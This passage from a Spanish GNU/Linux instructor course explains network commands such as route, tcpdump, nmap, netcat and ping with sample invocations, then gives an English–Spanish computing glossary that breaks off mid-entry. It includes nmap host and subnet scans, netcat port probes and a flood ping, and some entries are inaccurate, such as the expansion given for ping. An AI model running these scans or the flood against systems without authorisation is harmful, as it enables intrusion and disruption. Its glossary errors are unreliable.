Desactiva el protocolo arp de la interfaz wlan0[root@blackangel ~]# ip link set arp off dev wlan0

Deshabilita la interfaz del modo promiscuo.[root@blackangel ~]# ip link set promisc off dev eth0

0.6 route

Es una herramienta de línea de comandos disponible tanto en Windows como en Linux.El comando route nos permite manipular las tablas de enrutamiento de nuestro sistema.

Diplomado de GNU/Linux134

Page 135: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

[root@blackangel ~]# route add default gw 192.168.100.10Este comando configura una ruta por defecto

[root@blackangel ~]# route -nEste comando muestra la tabla de enrutamientos de tu pc

[root@blackangel~]# route add -net 192.168.10.0/24 dev eth0Este comando agrega la red 192.168.10.0 a través de la interfaz

[root@blackangel~]# route del -net 192.168.10.0/24 dev eth0Este elimina la ruta.

[root@blackangel~]#route add -host 192.168.10.10 gw 192.168.10.1Agrega a un host una ruta por defecto

0.7 traceroute

La orden traceroute permite registrar la ruta seguida por un datagrama hasta un destino determinado. Su funcionamiento se basa en mensajes ICMP y en la variación del parámetro TTL de las cabeceras IP. Averigüe el camino para alcanzar la máquina www.codigolibre.org, # traceroute -n www.codigolibre.org

0.8 tcpdump

Es una herramienta en línea de comandos cuya utilidad principal es analizar el tráfico que circula por la red.Permite al usuario capturar y mostrar a tiempo real los paquetes transmitidos y recibidos en la red a la cual el ordenador está conectado. Está escrito por Van Jacobson, Craig Leres, y Steven McCanne que trabajaban en ese momento en el Grupo de Investigación de Red del Laboratorio Lawrence Berkeley. Más tarde el programa fue ampliado por Andrew Tridgell.

tcpdump funciona en la mayoría de los sistemas operativos UNIX: Linux, Solaris, BSD, Mac OS X, HP-UX y AIX entre otros. En esos sistemas, tcpdump hace uso de la librería libpcap para capturar los paquetes que circulan por la red.

Muestra todo el tráfico que esta por la eth0[root@blackangel ~]# tcpdump -i eth0

Muestra solo el tráfico del puerto 22 en la eth0[root@blackangel ~]# tcpdump -i eth0 port 22

Muestra de forma numérica las ip y los protocolos que estén corriendo[root@blackangel ~]# tcpdump -nni eth0

0.9 arp

Manipula el cache arp de varias formas. En primer lugar, hay opciones para limpiar cache la direcciones mapeadas y la agregadas manualmente.Nos muestra la tabla arp de manera verbose o detalle.[root@blackangel ~]# arp -v

Diplomado de GNU/Linux135

Page 136: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Muestra el nombre del host[root@blackangel ~]# arp -a

Remueve un host de la tabla[root@blackangel ~]# arp -d 192.168.10.10

0.10 nmap

Es una herramienta libre para exploración de redes y auditoría de seguridad.El siguiente comando te muestra el nombre dominio de el host el tipo de sistema operativo, que puertos están abiertos y la versión de servicio.[link@blackangel ~]$ nmap -A -T4 192.168.236.230

Escanea una red complete nos da la dirección física de cada PC[link@blackangel ~]$ nmap -sP 192.168.100.0/25

Muestra solo los puertos udp[link@blackangel ~]$ nmap -sU 192.168.100.10

Muestra todo lo puertos en tcp[link@blackangel ~]$ nmap -sT 192.168.100.10

0.11 netstat

Es una herramienta libre para mostrar conexiones de red tablas de enrutamiento, conexiones enmascaradas y establecimientos de multicast.

Este comando muestra los listen sockets y el pid del programa y el nombre del programa.[root@blackangel ~]# netstat -lp

Muestra todas la conexiones udp[root@blackangel ~]# netstat -lua

Muestra todas las conexiones en tcp[root@blackangel ~]# netstat -lta

Muestra la tabla de enrutamiento[root@blackangel ~]# netstat -nr

0.12 netcat, o nc

Es una herramienta utilizada para supervisar y escribir sobre conexiones tanto por TCP como por UDP. Puede abrir conexiones TCP, enviar paquetes UDP, escuchar sobre puertos arbitrarios tanto TCP como UDP, supervisión de puertos y más, tanto para IPv4 como IPv6. Es una de las herramientas de diagnóstico y seguridad más populares y también una de las mejor calificadas por la comunidad.

[root@blackangel ~]#nc 127.0.0.1 25

Si hay un servidor de correo funcionado, lo anterior puede devolver una salida similar a la siguiente:

Diplomado de GNU/Linux136

Page 137: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

220 localhost.localdomain ESMTP ; Wed, 28 May 2008 10:24:52 -0500 quit 221 2.0.0 localhost.localdomain closing connection [root@blackangel ~]#nc -vz 127.0.0.1 21-25Lo anterior puede devolver una salida como la siguiente, si se encontrasen abiertos los puertos 21, 22 y 25.

Connection to 127.0.0.1 21 port [tcp/ftp] succeeded! Connection to 127.0.0.1 22 port [tcp/ssh] succeeded! Connection to 127.0.0.1 25 port [tcp/smtp] succeeded!

0.13 ping

(Packet Internet Grouper) se trata de una utilidad que comprueba el estado de la conexión con uno o varios equipos remotos por medio de los paquetes de solicitud de eco y de respuesta de eco (definidos en el protocolo de red ICMP) para determinar si un sistema IP específico es accesible en una red. Es útil para diagnosticar los errores en redes o enrutadores IP.Muchas veces se utiliza para medir la latencia o tiempo que tardan en comunicarse dos puntos remotos, y por ello, se utiliza entre los aficionados a los juegos en red el término PING para referirse al lag o latencia de su conexión.

Este comando cuenta 4 paquetes icmp.[root@blackangel ~]# ping -c 4 192.168.236.225

Nos permite dar un ping a la dirección de broadcast.[root@blackangel ~]# ping -b 192.168.236.255

Este comando envía paquetes 512by que cuente 400 paquetes que haga una inundación y lo muestra numéricamente.[root@blackangel~]#ping -s 512 -c 400 -f -n 192.168.236.225

Este comando cuenta 5 paquetes icmp lo muestra numéricamente el host con tiempo de vida de 5 segundos.[root@blackangel ~]#ping -c 5 -n -t 5 192.168.236.225

0.14 dig

El mandato dig (domain information groper) es una herramienta flexible para realizar consultas en Servidores DNS. Realiza búsquedas y muestra las respuestas que son regresadas por los servidores que fueron consultados. Debido a su flexibilidad y claridad en la salida es que la mayoría de los administradores utilizan dig para diagnosticar problemas de DNS.

Esto fue a una consulta a los dns de google[root@blackangel ~]# dig google.com

Esta es una consulta la nombre google.com y el tipo que name server[root@blackangel ~]# dig google.com NS

Este es una consulta para los correos.[root@blackangel ~]# dig google.com MX

Diplomado de GNU/Linux137

Page 138: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

0.15 nslookup

Es un programa, utilizado para saber si el DNS está resolviendo correctamente los nombres y las IPs. Se lo utiliza con el comando nslookup, que funciona tanto en windows como en unix para obtener la dirección IP conociendo el nombre, y viceversa.

Este comando le hace una consulta al dns declarado en /etc/resolv.conf[root@blackangel ~]# nslookup google.com

Diplomado de GNU/Linux138

Page 139: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Glosario de términos

El objetivo de este glosario no es explicar el significado de los términos de informática usados en inglés, sino dar una lista de sugerencias para su traducción al español. Este glosario es útil para quien ya tiene suficientes conocimientos de informática en inglés; a quienes busquen un glosario que explique el significado de las palabras técnicas de informática en inglés les recomiendo consultar el Glosario básico inglés-español para usuarios de Internet, de Rafael Fernández Calvo (ver bibliografía o el archivo ``fuentes'').

Las traducciones que se presentan en este glosario son las que han sido aceptadas por la comunidad que produce documentación libre para programas libres, independientemente de que sean consideradas erróneas por algunos; en los casos en que existe polémica, se da alguna información adicional. Se ha adoptado un punto de vista pragmático según el cual lo mas importante es la comprensión del mensaje y no su forma; por eso no se ha intentado definir cuales son los términos correctos (si es que existen) sino cuales son los que serán comprendidos por la mayor parte de los lectores, evitando extranjerismos cuando sea posible.

Los verbos son indicados por una v entre paréntesis. Los adjetivos son traducidos en la forma masculina y en los substantivos se indica su género cuando no es obvio. Cuando una palabra tiene varios significados, estos aparecen numerados; y si la traducción al español tiene varios significados, se explica entre paréntesis a cual de ellos se refiere. Hay palabras para las cuales el consenso general es que no deben ser traducidas; en esos casos aparece como traducción la misma palabra en inglés, seguida de una posible traducción para los casos en que sea necesario traducirla.

La principal fuente para este glosario ha sido la comunidad hispano-parlante que desarrolla y usa software libre, participando directamente en la edición del glosario a través de su interfaz web <http://quark.fe.up.pt/orca>, o indirectamente a través de sus discusiones en las listas de correo sobre el tema. La lista de colaboradores aparece en un apéndice y en el archivo ``colaboradores''; las listas de correo y publicaciones usadas se indican en la bibliografía y en el archivo ``fuentes''.

@at, en (y no ``arroba'').

&ver ampersand.

/ver slash.

\ver backslash .

Aabort - fracaso, interrupción, cancelación, aborto.abort (v) - abortar, fracasar, interrumpir, cancelar (fuera del contexto informático, podrá ser también abortar).AC current - Corriente alterna.

Diplomado de GNU/Linux139

Page 140: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

AC Drive - Variador.Accounting - contabilidad.Add-on - añadido, anexo.Address - dirección.Advanced Power Management (APM) - Avanzado Manejo de Potencia (AMP), Manejo Avanzado de Potencia.Age - edad, antigüedad.Alias - alias, acceso directo.allocate (v) - asignar, reservar.allocation group - grupo asignado (cf. sistema de archivos/archivo XFS).Alphanumeric - alfanumérico.Ampersand - y (caracter empleado en programación C para señalar direcciones de memoria, y en html para codificar otros caracteres extraños a la lengua inglesa, del latín ``et'', al).Anchor - ancla, áncora, enlace.anchor (v) - anclar.Anti-aliasing - suavizado de bordes, antisolapamiento.append (v) - juntar, unir, concatenar, añadir.Applet - miniaplicación, aplique, applet (programa en Java, ejecutable por un navegador; dícese también de cualquier pequeño programa que se acopla al sistema).Appliance - dispositivo.Application Program Interface (API) - Interfaz de Programación de Aplicaciones.Appraisal - estimación.Archive - archivo, paquete (como ``archivo'' es muy usado también para traducir ``file'', puede ser necesario aclarar de que tipo de archivo se trata).archive (v) - archivar, empaquetar.Argument - argumento, parámetro.Array - arreglo, formación, estructura, matriz, vector (``arreglo'' es considerada por algunos una mala traducción, pero su uso ya está bastante generalizado).Artificial Intelligence (AI) - inteligencia artificial, inteligencia artificial.Ascender - ascendente.ASCII-Armoured text - texto con armadura ASCII, ASCII blindado.Aspect-oriented programming - programación orientada a aspectos.Assapps - applet, archivos pps.Assembler - 1. ensamblador (lenguaje de programacion). 2. montador o ensamblador (persona que monta ordenadores), Lenguaje Maquina.Assembly - lenguaje ensamblador, ensamblado (utilizado mucho en .NET/Mono).Assessment - estimación, juicio, impresión.Asset - asset, asset.asset (econ.) - activo, ASSET.Assignment - asignación.associative array - vector asociativo, arreglo asociativo (array es en ocasiones utilizado como arreglo, a pesar de que algunos no concuerden).assume (v) - suponer.Asymmetric Digital Suscriber Line (ADSL) - línea digital asimétrica de abonado.attach (v) - adjuntar, anexar, anexionar.Attachment - documento adjunto, anexo.Attribute - atributo.Authentication - autenticación, autentificación, identificación, validación.Autoprobe - autocomprobación.

Diplomado de GNU/Linux140

Page 141: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Bb-tree (filesystem) - sistema de archivos basado en árboles balanceados.Back-end - motor (de un compilador o programa), dorsal.Backbone - eje principal, red troncal, estructura principal.Background - segundo plano, trasfondo.backport (v) - portear o adaptar un componente de software nuevo a otro más antiguo con la finalidad de agregar una funcionalidad nueva.Backslash - barra invertida, contrabarra.Backtick - acento grave, nombre dado ocasionalmente al caracter ` usado en ambientes tipo Unix.Backup - copia de seguridad, copia de respaldo, salvaguarda.backup (v) - respaldar, hacer copias de respaldo.backward compatible - compatible con anteriores.Bandwith - amplitud de banda, ancho de banda.Banner - pancarta, aviso.Baseline - línea de base, directrices (condiciones generales que un programa, proceso o producto debe cumplir).Batch - lote.batch processing - procesamiento por lotes, procesamiento en lotes.Batch-scan - sondeo por lotes.Batcher - procesador por lotes.Baud - baudio (unidad de medida de la velocidad de transmisión de información).baud rate - tasa de baudio.Benchmark - banco de pruebas, prueba comparativa.Big-endian - byte más significativo primero.bind (v) - enlazar, ligar.Binding - enlace, ligadura.Bit - bit (unidad elemental de información, consistente en una variable booleana, con valores 0 o 1).bit mask - máscara de bits.Bitmap - mapa de bits.Bitrate - tasa de bits.Bitstream - flujo de bits.Blank - vacío, en blanco.Block - bloque.block (v) - bloquear (impedir el acceso).blur (v) - tornar más difuso, emborronar, difuminar.Bookmark - marcador, marcapáginas.Boot - arranque, inicio, proceso de arranque.boot (v) - arrancar, iniciar.boot loader - gestor de arranque.boot partition - partición de arranque.boot record - registro de arranque, registro de inicio (en un disco duro).Bootable - puede ser usado para arrancar (una partición en disco duro).Bootrom - (memoria) ROM de inicio.Bootstrap - rutina de arranque, arranque autónomo, marca de inicio en los carretes de cinta.Bot - robot (usado en AI).Breakpoint - punto de ruptura, punto de corte.Broadcast - difusión.broadcast (v) - anunciar, difundir.

Diplomado de GNU/Linux141

Page 142: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

browse(v) - navegar, ojear, revisar.Browser - navegador, visualizador, ojeador (navegador es más usada cuando se trata de hipertexto y visualizador en otros casos. Existe alguna polémica acerca de ``visualizador'' y han sido propuestas otras posibilidades como visor o examinador, que no son muy usadas).Brush - pincel, brocha.bubble sort - ordenación por el método de la burbuja.Buffer - búfer, memoria tampón, memoria intermedia.Bug - error, fallo, bicho, gazapo (gazapo ha sido propuesta por algunos especialistas, pero no es muy usada).Bug-fix - corrección de fallo.Build - revisión -normalmente numerada- del conjunto de archivos que componen una aplicación.built in - incorporado, incluido.Bulletin Board System (BBS) - tablón de anuncios electrónico, foros, sistema de foros.bundle (v) - incluir (Ej.: Bundled software -> Software incluido en el sistema).burst page - página en bruto, página de separación (página añadida por muchos gestores de impresión para separar los trabajos).Bus - bus, línea de datos, cable de datos, bus de datos.Byte - byte, octeto (unidad de información compuesta por ocho bits; una variable de 1 byte puede contener 256 valores diferentes), megabyte, unidad de información compuesta por ocho variables de 1 byte.

Ccache - almacén, deposito (algunos usan caché que suena parecido mas no traduce bien su significado), memoria temporal.cache memory - antememoria, memoria inmediata, memoria cache (ver cache).Callback - retrollamada, llamada de retorno.camel caps - mayúsculas mediales.camera ready - preparado para cámara, preparado para su publicación (se usa para indicar la manera de mandar artículos a una revista listos para su publicación).Canvas - lienzo, tapiz.Capability - capacidad.Caps - letras mayúsculas.Card - tarjeta.Cardinality - cardinalidad.Caret - circunflejo (el símbolo o acento ^ usado para mostrar que algo va a ser insertado en material escrito o impreso en el lugar en el que se encuentra.).case sensitive - distingue mayúsculas de minúsculas.Cast - molde, plantilla.catch-up (v) - actualizarse, ponerse al día.cellular automata - autómata celular.Central Processing Unit (CPU) - Unidad de Procesamiento Central, Unidad Central de Proceso.Changelog - novedades, últimos cambios.Channel - canal.character set - conjunto de caracteres (conjunto de signos que se representan mediante un código. El más conocido de estos códigos es el ASCII, que utiliza los 256 caracteres que se pueden representar con un byte).Charset - juego de caracteres.Chat - charla, tertulia.

Diplomado de GNU/Linux142

Page 143: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

chat (v) - chatear, conversar, charlar.check button - botón de verificación, casilla de verificación.check out - probar, comprobar.check out (v) - descargar.Checkbox - caja de selección, casilla de selección.Checker - 1. corrector. 2. cuadrado de un tablero de ajedrez. 3. cajero.Checkpoint - punto de control.Checksum - suma de control, suma de verificación, suma de comprobación.Chess - ajedrez.chief architect - desarrollador jefe.child process - proceso hijo.Chip - circuito integrado.Chipset - chipset, conjunto de chips, conjunto de chips que se utilizan para comunicar el procesador con los diferentes componentes del motherboard.Choke - 1. obturador, estrangulador. 2. sofocamiento.Chroot - cambio de directorio raíz, raíz virtual.Class - clase.Clause - cláusula.Clean – limpio.clean (v) - limpiar, despejar.clear (v) - borrar.Command Line Interface (CLI) - interfaz de usuario, interfaz de linea de comandos.Click - clic, pulsación.click (v) - hacer clic, pulsar, pinchar.Clickstream - secuencia de pulsaciones de los botones del ratón (clicks).Client - cliente.Clipboard - portapapeles.clock rate - velocidad de reloj.Clone - clon.closed source - propietario, las fuentes no están disponibles.Closure - clausura, cierre.Clumsy - torpe, difícil de manejar.Cluster - grupo, cúmulo, cluster, racimo.cluster (v) - agrupar.Coder - programador, codificador.cold boot - arranque en frío.Collations - cotejamientos.Colon - dos puntos (signo de puntuación :).command - comando, orden, instrucción, mandato (el uso de ``comando'' está bastante generalizado, aunque algunos lo consideren erróneo).command line - línea de comando.commit (v) - 1. enviar. 2. comprometer. 3. aplicar, llevar a cabo, efectuar.Common Gateway Interface (CGI) - interfaz común de acceso (un estándar para elaborar pequeños programas que permiten la interacción entre un navegador y un servidor web).compile (v) - compilar.Compiler - compilador.Compliant - en conformidad, conforme con, compatible.compose (v) - redactar.Composer - 1. redactor (de correo, por ejemplo). 2. compositor (de música). compress (v) - comprimir.Compression - compresión.

Diplomado de GNU/Linux143

Page 144: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Compromised - violentado (cuando se refiere a un equipo/sistema en el que ha entrado un intruso).Computable - calculable.Computer - computadora, ordenador, computador.Computer Aided Design (CAD) - diseño asistido por ordenador (computadora).computer nerd - empollón informático.concatenate (v) - concatenar, nat.Concern Oriented Programming - Programación orientada a asuntos.Concurrency - concurrencia, simultaneidad (término usado para expresar la capacidad de realizar varias tareas a la vez).Conjunction - conjunción (conector lógico de dos proposiciones que en castellano se expresa mediante la conjunción "y").connect (v) - conectar.connected graph - grafo conexo.Cons - contras.Constraint - restricción.Constructor - constructor.Context - contexto.Converse - contrario, opuesto.converse (v) - conversar.Converter - convertidor, conversor.convex hull - envoltura convexa, cierre convexo.Cookbook - recetario.Cookie - galleta (mensaje enviado por un servidor web a un navegador para que éste lo guarde en el ordenador del usuario y sea enviado de nuevo al servidor, cada vez que el usuario consulta una de sus páginas).Coprocessor - coprocesador.Copyleft - derecho de copia, izquierdo de copia.Copyright - derechos de autor.Copyrighted - sujeto a derechos de autor.Cordless - inalámbrico.Core - corazón, núcleo, motor (program core: motor del programa; ver también ``core file'').core dump - volcado de memoria.core dump (v) - hacer un volcado de memoria (cuando un programa acaba de forma inesperada).core file - archivo (archivo) core, archivo (archivo) imagen de memoria, archivo (archivo) de volcado de memoria.core voltage - voltaje interno.Corrupted - dañado.Counter - contador.Courseware - software de apoyo (a cursos de formación).Cover - portada.crack (v) - invadir, penetrar.Cracker - maleante informático.Crash - ruptura, caída (del sistema).crash (v) - colgarse (un ordenador), fallar (un programa).Crawler - gateador, bot, cliente automatizado .cron job - trabajo (o guión) programado para ejecución a una hora predeterminada bajo control del demonio cron.Cross-assembler - ensamblador cruzado.

Diplomado de GNU/Linux144

Page 145: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Cross-compiler - compilador cruzado.Cross-platform - multiplataforma.Cross-post - envío cruzado, envío múltiple, correo con destinatarios múltiples (envío de un mismo mensaje a múltiples grupos de noticias).Crypt - cifrar.cue point - punto de referencia.Current - 1. actual, en vigor, en curso. 2. corriente (por ejemplo eléctrica).Cursor - cursor.Customize - personalizar.cut and paste (v) - cortar y pegar.Cyber - cíber (prefijo griego. Todo aquello relacionado con la comunicación empleando medios electrónicos).Cyberspace - ciberespacio (es decir, el espacio de la comunicación).

Ddaemon - demonio, proceso en segundo plano, duende (proceso de ejecución independiente) daisy chain - conexión en serie.daisywheel printer - impresora de margarita.Dash - raya.Data - datos, (pointers).data mining - minería de datos.Database - base de datos, banco de datos.Datagram - datagrama.Date - fecha.de facto standard - estándar de hecho, norma de facto, regulación de facto.Deadlock - bloqueo mutuo, interbloqueo.debug (v) - depurar, corregir errores (en un programa).Debugger - depurador.declarative language - lenguaje declarativo.decode (v) - decodificar, descodificar.Decoder - decodificador, descodificador.Decrypt - descifrar.Default - por omisión, de manera predeterminada, predefinido, por definición, por defecto.default file - archivo (archivo) predeterminado.Deferral - posposición.deflate (v) - deshinchar.defragment (v) - desfragmentar.Delay - demora, retardo.delete (v) - borrar, eliminar.Delimiter - delimitador, separador.Demo - demostración.demodulate (v) - demodular, traducir tonos a señales digitales (en un modem).denial of service - rechazo de servicio, denegación de servicio.deny (v) - denegar, recusar.Deploy - despliegue, desplegar.Descender - descendente.Descriptor - descriptor.Desktop - escritorio, computador.detach (v) - descolgar, desenganchar, separar.Developer - desarrollador.

Diplomado de GNU/Linux145

Page 146: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Development - desarrollo.Device - dispositivo.devise (v) - inventar, diseñar, planear.dial-up link - enlace telefónico, enlace por red telefónica.dial-up login - ingreso por red telefónica.dialog box - cuadro de diálogo, caja de diálogo.Diff - archivo de diferencias (hace referencia al uso del programa 'diff').Diffusion - difusión.Digest - recopilación, resumen, síntesis.dike (v) - contener.Directory - directorio.disable (v) - inhabilitar.Discard - deshacer.Disclaimer - renuncia de responsabilidades, descargo.discuss (v) - comentar, tratar (un tema).discussion groups - grupos de debate.dispatch (v) - despachar, enviar.Display - pantalla, visualizador.display (v) - mostrar, visualizar.display menu - menú de visualización.Disposable - desechable.Distribution - distribución (de Linux, por ejemplo).Dithering - difuminado.Docroot - raíz de documentos (en un wervidor web), directorio base.Documentation - documentación.domain name system (DNS) - Sistema Nominal de Dominios.Doorstop - tope (de una puerta).Dot - punto (puede referirse al punto en una URL).dot matrix printer - impresora de matriz de puntos.Down - fuera de servicio.Downgrade - versión anterior.downgrade (v) - 1. menoscabar, disminuir. 2. instalar una versión anterior.download (v) - descargar, transferir, recibir, bajar, obtener.Downsizing - reducción, disminución.Downstream - flujo descendente.downstream port - puerto de recepción.Downtime - tiempo de inactividad.Draft - borrador.drag and drop - arrastrar y soltar.Drill - ejercicio, entrenamiento.Drive - unidad (de disco), volúmen, dispositivo.Driver - controlador, manejador, gestor (driver de video, driver de sonido), circuito de gobierno, driver simple de comunicaciones.dual boot - de arranque doble o dual, que puede arrancar dos (o más) sistemas operativos diferentes.Dumb - 1. sin procesamiento. 2. bobo, tonto.dumb terminal - terminal sin procesamiento.Dummy - mudo, vacío.Dump - volcado, vuelco.Dungeon - mazmorra.

Diplomado de GNU/Linux146

Page 147: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Ee-mail - 1. correo electrónico. 2. mensaje ("send me an e-mail": envíame un mensaje).e.g. - por ejemplo (del latín exemplia gratia; en castellano se usa v.g. del latín verbi gratia).Edge - límite, borde.electronic mail - correo electrónico.elevation grids - mapas de elevación.Ellipse - elipse.embed (v) - empotrar, embeber, incrustar.Embedded - empotrado, embebido, puesto a prueba.embedded system - sistema integrado (software 'integrado' en hardware, ejemplos de un "embedded system" son routers, teléfonos móviles, etc.).emerge - emerge.enable (v) - activar, habilitar.Enabling - habilitación.encode (v) - codificar.Encoder - codificador.encrypt (v) - cifrar, codificar, encriptar.Encryption - cifrado, codificación, encriptación.Endian - vease ``big-endian'' y ``little-endian''.Endless - interminable.Enhancement - mejora.enlarge (v) - ampliar.Entity - entidad.Entries - entradas, líneas, renglones.Environment - entorno, ambiente.erase (v) - borrar.Error - error.escape (v) - escapar, preceder con escape, exceptuar.Evaluator - evaluador.Event - evento, suceso.Event-driven - basado o gestionado por eventos, orientado a eventos, dirigido por eventos.Executable - ejecutable.execute (v) - ejecutar.expire time - tiempo de caducidad.Extrication - liberación, rescate, extricación.

Ffacility - instalación, equipo.fade in - comienzo gradual.fade out - final gradual.fade (v) - atenuar, desvanecer.Failure - fallo.Fake - falso.Fan - ventilador.Fault - fallo.Featuren - funcionalidad, característica.Feed - fuente, suministro.feed (v) - suministrar.Feedback - realimentación, comentarios y sugerencias, retroalimentación.

Diplomado de GNU/Linux147

Page 148: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

fetch (v) - obtener.Field - campo.File - archivo, archivo (la mayoría de las personas usan exclusivamente una o la otra).file (v) - archivar.file erase - archivos borrados.file system - sistema de archivos, sistema de archivos.Filehandle - identificador de archivo (programación), descriptor de archivo (archivo), manejador de archivo (archivo) (contiene la información necesaria para tener acceso a la información del archivo desde un programa).filesystem metadata - metadatos del sistema de archivos/archivos.fill rate - tasa de relleno.Filter - filtro.Fingerprint - huella dactilar, huella digital.Firewall - cortafuegos.Firmware - microcódigo, soporte lógico incorporado.Fix - enmienda, corrección.fix (v) - 1. corregir, arreglar, reparar, enmendar. 2. fijar.Flag - bandera, indicador, parámetro.Flame - llama, insulto destructivo, comentario airado, crítica destructiva, soflama.Flanger - desdoblador.flat shading - sombreado plano.flip (v) - voltear.Floating - flotante.floating point - punto flotante, coma flotante (en diferentes países se usa el punto o la comapara separar dígitos enteros y decimales).floppy disk - disquete, disco flexible.floppy disk drive - disquetera de discos flexibles o disquetes.flow chart - diagrama de flujo.flush (v) – vaciar.Flux - flujo.Folder - carpeta, directorio.Folding - plegado.follow-up (v) - responder (a un grupo de noticias).Font - tipo de letra (algunos usan ``fuente'', por su parecido con el término inglés, que no traduce bien su significado).Footprint - huella, rastro.Foreground - primer plano, interactivo.foreign agent - agente externo.foreign key - clave foránea, clave ajena.Fork - bifurcación.fork (v) - bifurcar, desdoblar.Format - formato.format (v) - dar formato, formatear.Forum - foro.forward (v) - 1. reenviar, remitir, redireccionar. 2. adelantar.Forwarding Information Base (FIB) - tabla de rutas, tabla de encaminamiento.Fqdn - cf. fully qualified domain name.Fragmentation - fragmentación, partición.Frame - 1. marco. 2. fotograma.frame buffer - memoria de imagen, marco de memoria intermedia.frame relay - conmutación de tramas.

Diplomado de GNU/Linux148

Page 149: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Framebuffer - cf. frame buffer.Frames - cuadros, marcos.Framework - infraestructura, armazón, biblioteca de clases, marco, marco de referencia.Free - libre como en libertad de expresión, gratis como en barra libre.Frequency - frecuencia.Front-end - entorno, interfaz, fachada, frontal.full data journaling - registro completo de datos (en un sistema de archivos transaccional).fully qualified domain name - nombre de domínio completo.Function - función.function inlining - expansión de funciones (se copia la función entera en lugar de hacer una referencia a la misma).Further - consiguiente, posterior, más extenso, más avanzado.Fuzzy - difuso.

Ggame server - estación de juegos.Gatekeeper - 1. guarda-portal. 2. portero.Gateway - pasarela, portal, compuerta, puerta de enlace.gaussian blur - desenfoque gausiano.getting started - primeros pasos.Glob - englobador, el caracter englobador es *, abreviatura de todos.Glyph - glifo.grab (v) - capturar.Graph - grafo, gráfico.graphic display - representación gráfica.Graphical User Interface (GUI) - interfaz gráfica de usuario.Graphics Interchange Format (GIF) - formato para intercambio de gráficas.Grid - rejilla, grilla, cuadrícula.Guidelines - directivas.Gzipped - comprimidos con gzip, comprimidos, compactados.

Hhack - solución chapucera, alteración (``a quick hack''), machetazo.hack (v) - cargar (``hack a program''), machetear.Hacker - genio de la informática (no confundir con ``cracker''), experto en informáticahandheld - de mano.handle (v) - manipular.Handler - manipulador, gestor.Handover - traspaso (de un nodo móvil desde una subred a otra).Handshaking - asentimiento, negociación, sincronismo.hang (v) - colgar, colgarse, bloquearse.hard disk - disco duro, disco rígido, disco fijo.hard link - enlace físico, enlace rígido, enlace duro.harden (v) - bastionar, fortificar con bastiones (implementar todas las medidas de seguridad posibles para proteger un sistema).Hardware - máquina, equipo, dispositivo, soporte físico.Hash - 1. resumen codificado, picadillo. 2. arreglo asociativo (Perl).hash table - tabla de dispersión, tabla de referencias, tabla hash.Hassle - lío, enredo, complicación.hassle (v) - molestar, confundir.

Diplomado de GNU/Linux149

Page 150: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Header - 1. cabecera (header file). 2. encabezado, encabezamiento (page header).Heap - montón, pila de datos.Heuristic - heurístico.Hex-viewer - visor hexadecimal.Hi-color - ver 'high-color'.Hi-tech - ver 'high-tech'.hide (v) - esconder, esconderse.Hierarchy - jerarquía.High-color - color de alta densidad.High-tech - tecnología de punta.Highlight - realce, destaque.highlight (v) - realzar, destacar, resaltar.Hint - consejo.hint (v) - 1. sugerir. 2. definir (aplicada a la visualizacion correcta de tipográfia digital).Hit - 1. golpe. 2. éxito, acierto. 3. visita (a una página Web).Hits - golpes, accesos (en una pagina Web).Home - casa, portada (ver también home page).home agent - agente local.home directory - directorio del usuario, directorio principal del usuario.home page - página principal, página inicial.Honeynet - sistema trampa (red de sistemas que simulan una red real pero han sido desplegados para engañar a posibles intrusos).Honeypot - tarro de miel (sistema/máquina "trampa" utilizado para atraer a posibles intrusos).Host - anfitrión, máquina anfitriona, puesto.host (v) - alojar.Hostname - nombre de anfitrión.Hot - caliente.Hotkey - tecla rápida.Hub - concentrador, distribuidor, concentrador.Hyphen - guión.Hyphenate - enguionar, cortar palabras incorporando guiones.

Ii.e. - esto es, o sea (del latín id est).Icon - ícono.iconize (v) - miniaturizar, iconizar, minimizar.Idle - ocioso, inactivo.Illegal - ilegal, no válido.Illustrator - ilustrador.Imaging - proceso de imágenes, trabajo con imágenes, diseño de imagen, generación de imagen, ilustración, imagimática (técnicas a menudo computarizadas, por ejemplo, radiografías, ultrasonido, radioactividad, calor, o magnetismo, usadas para obtener imágenes en medicina).implement (v) - implementar.Inbox - bandeja de entrada.indent (v) - sangrar (empezar un renglón más adentro que los otros).Indentation - sangría.Index - índice, comondo índice (en programación).Indexed - indexado.

Diplomado de GNU/Linux150

Page 151: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

inflate (v) - inflar (descomprimir).inherit (v) - heredar.Inheritance - herencia.Init - sistema, método o esquema de inicio de sistema operativo.Initrd - imagen de arranque.Inkjet - inyección de tinta, INKJET.Inode - nodo i, inodo.Input - m. input.input encoding - codificación.Installer - instalador.Instance - instancia, ejemplar.Integrated Development Enviroment (IDE) - Entorno de desarrollo integrado, (es Environment).Integrated Services Digital Network (ISDN) - Red Digital de Servicios Integrados (RDSI)interactive - interactivo.Interface - interfaz (femenino), definición de gestión de hardware, interface, fem. (España) Interfaz, Interfase.interlace (v) - entrelazar, interfoliar.Interlaced - entrelazado.Internet – Internet.Internet Protocol (IP) - protocolo Internet, iptables, protocol, (iptables incorrecto) (protocolo de la capa de red).Interpolation - interpolación.Interrupt - interrupción.Interrupt Request (IRQ) - Solicitud de interrupción, petición de interrupción, direcciones de entrada/salida.Introducer - presentador.Intrusion Detection System (IDS) - sistema de detección de intrusos (o de intrusiones).Invalid - no es válido.Iptables - tablas IP.Isochronous - 